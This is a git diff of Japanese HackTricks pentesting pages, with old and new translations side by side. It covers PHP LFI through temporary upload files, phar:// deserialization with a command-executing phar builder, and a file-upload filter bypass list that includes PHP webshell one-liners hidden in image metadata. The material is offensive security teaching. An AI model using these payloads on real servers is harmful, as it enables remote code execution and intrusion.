**PHP**は**4096B**のバッファを使用し、バッファが**いっぱいになるとクライアントに送信**されます。その後、クライアントは**大きなヘッダーを使用して多くの大きなリクエストを送信**し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち、一時ファイルにアクセス**し、phpサーバーがファイルを削除する前にLFI脆弱性を悪用してファイルにアクセスしようとします。 **PHP**は**4096B**のバッファを使用し、バッファが**いっぱいになるとクライアントに送信**されます。その後、クライアントは**大きなヘッダーを使用して多くの大きなリクエストを送信**し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ちます**ここに一時ファイルの名前が表示されます、そしてLFI脆弱性を悪用してファイルが削除される前に**一時ファイルにアクセス**しようとします。
**長さが6の場合に名前をブルートフォースしようとするPythonスクリプト** **長さが6の場合に名前をブルートフォースしようとするPythonスクリプト**
```python ```python
@ -61,14 +61,14 @@ print('[x] Something went wrong, please try again')
``` ```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**してください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>

View file

@ -1,24 +1,22 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。 - 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** - **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
**このテクニックの詳細は[https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)で確認してください**
**このテクニックの詳細については、[https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**をチェックしてください
## **PHPファイルのアップロード** ## **PHPファイルのアップロード**
**PHP**エンジンがRFC 1867に従った形式ファイルを含む**POSTリクエスト**を受信すると、アップロードされたデータを保存するための一時ファイルが生成されます。これらのファイルは、PHPスクリプトでのファイルのアップロード処理に不可欠です。永続的なストレージがスクリプトの実行を超えて必要な場合は、これらの一時ファイルを所望の場所に移動するために`move_uploaded_file`関数を使用する必要があります。実行後、PHPは残っている一時ファイルを自動的に削除します。 **PHP**エンジンがRFC 1867に従った形式ファイルを含む**POSTリクエスト**を受信すると、アップロードされたデータを保存するための一時ファイルが生成されます。これらのファイルは、PHPスクリプトでのファイルのアップロード処理に不可欠です。永続的なストレージがスクリプトの実行を超えて必要な場合は、これらの一時ファイルを所望の場所に移動するために`move_uploaded_file`関数を使用する必要があります。実行後、PHPは残っている一時ファイルを自動的に削除します。
{% hint style="info" %} {% hint style="info" %}
**セキュリティ警告:** 攻撃者は、一時ファイルの場所を把握している場合、アップロード中にファイルにアクセスしてコードを実行するためにローカルファイルインクルージョンの脆弱性を悪用する可能性があります。 **セキュリティ警告:** 攻撃者は、一時ファイルの場所を把握している場合、アップロード中にファイルにアクセスしてコードを実行するためにローカルファイルインクルージョンの脆弱性を悪用する可能性があります。
@ -28,17 +26,17 @@ HackTricksをサポートする他の方法
#### Windowsシステムでの悪用 #### Windowsシステムでの悪用
Windowsでは、PHPは`GetTempFileName`関数を使用して一時ファイル名を生成し、`<path>\<pre><uuuu>.TMP`のようなパターンが生成されます。特に: Windowsでは、PHPは`GetTempFileName`関数を使用して一時ファイル名を生成し、`<path>\<pre><uuuu>.TMP`というパターンが生成されます。特に:
- デフォルトのパスは通常`C:\Windows\Temp`です。 - デフォルトのパスは通常`C:\Windows\Temp`です。
- 接頭辞は通常「php」です。 - 接頭辞は通常「php」です。
- `<uuuu>`は一意の16進数値を表します。関数の制限により、下位16ビットのみが使用されるため、一定のパスと接頭辞で最大65,535個の一意名前が可能であり、ブルートフォースが実行可能です。 - `<uuuu>`は一意の16進数値を表します。関数の制限により、下位16ビットのみが使用されるため、一定のパスと接頭辞で最大65,535個の一意名前が可能であり、ブルートフォースが実行可能です。
さらに、Windowsシステムでは悪用プロセスが簡略化されます。`FindFirstFile`関数の特異性により、ローカルファイルインクルージョンLFIパスでワイルドカードを使用できます。これにより、次のようなインクルードパスを作成して一時ファイルを特定することができます: さらに、Windowsシステムでは悪用プロセスが簡略化されます。`FindFirstFile`関数の特異性により、ローカルファイルインクルージョンLFIパスでワイルドカードを使用できます。これにより、次のようなインクルードパスを作成して一時ファイルを特定できます。
``` ```
http://site/vuln.php?inc=c:\windows\temp\php<< http://site/vuln.php?inc=c:\windows\temp\php<<
``` ```
特定の状況では、より具体的なマスク(例:`php1<<`または`phpA<<`)が必要になる場合があります。これらのマスクをシステマティックに試すことで、アップロードされた一時ファイルを発見できます。 特定の状況では、より具体的なマスク(例:`php1<<`または`phpA<<`)が必要になることがあります。これらのマスクをシステマティックに試すことで、アップロードされた一時ファイルを発見できます。
#### GNU/Linuxシステムでの悪用 #### GNU/Linuxシステムでの悪用

View file

@ -1,30 +1,30 @@
# phar://デシリアライゼーション # phar:// デシリアライゼーション
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する * **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングキャリア**に興味があり、ハッカブルではないものをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_). **ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
**Phar**ファイルPHPアーカイブにはシリアライズされた形式でメタデータが含まれているため、解析するとこの**メタデータ**が**デシリアライズ**され、**PHP**コード内の**デシリアライゼーション**脆弱性を悪用しようと試みることができます。 **Phar** ファイルPHPアーカイブファイルには、**シリアル化された形式のメタデータ**が含まれているため、解析されると、この**メタデータ**が**デシリアライズ**され、**PHP**コード内の**デシリアライゼーション**脆弱性を悪用できます。
この特性の最も良い点は、**file\_get\_contents()、fopen()、file() や file\_exists()、md5\_file()、filemtime() や filesize()**のようなPHPコードを評価しないPHP関数を使用しても、このデシリアライゼーションが発生することです。 この特性の最も良い点は、このデシリアライズが、**`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`**などのPHPコードを評価しないPHP関数を使用しても発生することです。
したがって、**`phar://`**プロトコルを使用して任意のファイルのサイズを取得するPHPウェブを作成できる状況を想像してみてください。そして、コード内に次のような**クラス**があるとします: したがって、**`phar://`** プロトコルを使用して PHP ウェブが任意のファイルのサイズを取得する状況を想像してみてください。コード内で次のような**クラス**を見つけることができます:
{% code title="vunl.php" %} {% code title="vunl.php" %}
```php ```php
@ -44,7 +44,7 @@ filesize("phar://test.phar"); #The attacker can control this path
``` ```
{% endcode %} {% endcode %}
**phar** ファイルを作成し、ロードすると、以下のようなことでこのクラスを**悪用して任意のコマンドを実行**します。 **phar**ファイルを作成して、次のようにしてこのクラスを悪用して**任意のコマンドを実行**することができます:
{% code title="create_phar.php" %} {% code title="create_phar.php" %}
```php ```php
@ -74,35 +74,35 @@ $phar->stopBuffering();
``` ```
{% endcode %} {% endcode %}
**JPGのマジックバイト** (`\xff\xd8\xff`) がpharファイルの先頭に追加されていることに注意してください。これは、**アップロードの制限を回避するため**です。\ **JPG****マジックバイト**(`\xff\xd8\xff`)がpharファイルの先頭に追加され、**アップロード****制限**を**バイパス**することがきます。\
`test.phar` ファイルを以下のコマンドで**コンパイル**します: `test.phar`ファイルを**コンパイル**します:
```bash ```bash
php --define phar.readonly=0 create_phar.php php --define phar.readonly=0 create_phar.php
``` ```
コマンド `whoami` を脆弱なコードを悪用して実行します: そして、脆弱なコードを悪用して`whoami`コマンドを実行します:
```bash ```bash
php vuln.php php vuln.php
``` ```
### 参考文献 ### 参考
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %} {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングキャリア**に興味があり、ハッカブルではないものをハックしたい方 - **採用情報はこちら!** (_流暢なポーランド語の読み書きが必要です_). **ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -2,25 +2,25 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>**AWSハッキングをゼロからヒーローまで学ぶ**</summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手 - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
![](<../../.gitbook/assets/image (638) (3).png>) ![](<../../.gitbook/assets/image (638) (3).png>)
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! **バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**を利用しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## ファイルアップロード一般的な手法 ## ファイルアップロード一般的な方法論
他の便利な拡張機能: 他の便利な拡張機能:
@ -49,7 +49,7 @@ HackTricksをサポートする他の方法
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. サーバーサイドの**拡張子パーサーをだます**ために、**拡張子を二重化**したり、拡張子間に**ジャンク**データ(**ヌル**バイト)を追加するなどのテクニックを使用して保護を**バイパス**しようとしてみてください。_以前の拡張子を使用して、より良いペイロードを準備することもできます_ 4. サーバーサイドの**拡張子パーサーを騙す**ために、**拡張子を倍にする**か、**拡張子間にジャンク**データ(**ヌル**バイト)を追加するなどのテクニックを使用して保護を**バイパス**しようとしてみてください。_以前の拡張子を使用して、より良いペイロードを準備することもできます_
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -61,9 +61,9 @@ HackTricksをサポートする他の方法
5. 前のチェックに**別の拡張子のレイヤーを追加**してみてください: 5. 前のチェックに**別の拡張子のレイヤーを追加**してみてください:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. 有効な拡張子の**前に実行拡張子を配置**し、サーバーが誤って構成されていることを祈ります。 (Apacheの誤構成を悪用するのに便利で、拡張子が**.php**で終わらないが**.php**であるものはすべてコードを実行する場合があります): 6. 有効な拡張子の**前に実行拡張子を配置**し、サーバーが誤って構成されていることを期待してみてください。 (Apacheの誤構成を悪用するのに便利で、拡張子が**.php**で終わらなくても**.php**であればコードが実行される場合があります):
- _例: file.php.png_ - _例: file.php.png_
7. **Windows**で**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入されます。その結果、「禁止された拡張子を持つ空のファイル」がサーバーに作成されます(例:「file.asax:.jpg」。このファイルは後で他のテクニックを使用して編集できる場合があります。たとえば、その短いファイル名を使用することができます。また、「**::$data**」パターンを使用して空でないファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つかもしれません(例:「file.asp::$data.」) 7. **Windows**で**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入されます。その結果、「禁止された拡張子空のファイル」がサーバーに作成されます(例:「file.asax:.jpg」。このファイルは後で他のテクニックを使用して編集できる場合があります。たとえば、その短いファイル名を使用することができます。また、「**::$data**」パターンを使用して空でないファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つかもしれません(例:「file.asp::$data.」)
8. ファイル名の制限を破ることを試みてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残されます。AAA<--SNIP-->AAA.php 8. ファイル名の制限を破ることを試みてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残されます。AAA<--SNIP-->AAA.php
``` ```
@ -81,15 +81,15 @@ AAA<--SNIP 232 A-->AAA.php.png
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_、_text/plain_、_application/octet-stream_ - **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_、_text/plain_、_application/octet-stream_
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt) 1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
- **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します_file_コマンドを混乱させる。または、**メタデータ**内にシェルを導入します:\ - **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**_file_コマンドを混乱させるを追加します。または、シェルを**メタデータ内に導入**します:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
または、画像に**ペイロードを直接導入**することもできます:\ または、画像に直接**ペイロードを導入**することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 画像に**圧縮が追加**されている場合、[PHP-GD](https://www.php.net/manual/fr/book.image.php)などの標準的なPHPライブラリを使用している場合、前述のテクニックは役立ちません。ただし、**PLTEチャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、**圧縮を生き残る**テキストを挿入できます。 - 画像に**圧縮**が追加されている場合、[PHP-GD](https://www.php.net/manual/fr/book.image.php)などの標準的なPHPライブラリを使用している場合、前述のテクニックは役立ちません。ただし、**PLTEチャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、**圧縮を生き残る**テキストを挿入できます。
- [**コードが含まれるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) - [**コードが含まれるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
- Webページが**画像をリサイズ**している場合、たとえばPHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述のテクニックは役立ちません。ただし、**IDATチャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、**圧縮を生き残る**テキストを挿入できます。 - Webページが画像を**リサイズ**している場合、たとえばPHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述のテクニックは役立ちません。ただし、**IDATチャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、**圧縮を生き残る**テキストを挿入できます。
- [**コードが含まれるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) - [**コードが含まれるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
- 画像のリサイズを**生き残るペイロード**を作成するための別のテクニックとして、PHP-GD関数`thumbnailImage`を使用できます。ただし、**tEXtチャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、**圧縮を生き残る**テキストを挿入できます。 - 画像のリサイズを**生き残るペイロード**を作成する別のテクニックとして、PHP-GD関数`thumbnailImage`を使用ます。ただし、**tEXtチャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、**圧縮を生き残る**テキストを挿入できます。
- [**コードが含まれるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) - [**コードが含まれるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### その他のチェックトリック ### その他のチェックトリック
@ -100,23 +100,23 @@ AAA<--SNIP 232 A-->AAA.php.png
1. **同じ名前**の**同じファイル**を**複数回**(かつ**同時に**)アップロードします 1. **同じ名前**の**同じファイル**を**複数回**(かつ**同時に**)アップロードします
2. すでに存在する**ファイル**または**フォルダ**の名前を持つファイルをアップロードします 2. すでに存在する**ファイル**または**フォルダ**の名前を持つファイルをアップロードします
3. 名前が**“.”、“..”または“…”**であるファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを“/www/uploads/”ディレクトリに保存する場合、ファイル名“.”は“/www/”ディレクトリに“uploads”というファイルを作成します。 3. 名前が**“.”、“..”または“…”**であるファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを“/www/uploads/”ディレクトリに保存する場合、ファイル名“.”は“/www/”ディレクトリに“uploads”というファイルを作成します。
4. **NTFS**で**“…:.jpg”**のように簡単に削除できないファイルをアップロードしますWindows 4. **NTFS**で**削除が容易でないファイル**をアップロードします。たとえば、**“…:.jpg”**を**NTFS**にアップロードします。 (Windows)
5. 名前に`|<>*?”`などの**無効な文字**を含むファイルをアップロードしますWindows 5. 名前に`|<>*?”`などの**無効な文字**を含むファイルを**Windows**にアップロードします。 (Windows)
6. **CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9**などの**予約済み(禁止)名**を使用してファイルをアップロードしますWindows 6. CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、およびLPT9などの**予約済み(禁止された)名前**を使用して**Windows**にファイルをアップロードします。
- **実行可能ファイル**.exeまたは誤って開かれたときにコードを実行する可能性のある**.html**(疑わしくない)を**アップロード**してみてください。 - **実行可能ファイル**.exeまたは誤って開かれた場合にコードを実行する**.html**(疑わしくない)を**アップロード**しようとしてみてください。
### 特別な拡張子のトリック ### 特別な拡張子のトリック
**PHPサーバー**にファイルをアップロードしようとしている場合は、[**.htaccess**トリックを見て、コードを実行してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\ **PHPサーバー**にファイルをアップロードしようとしている場合は、[**.htaccess**トリックを見て、コードを実行してください**](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
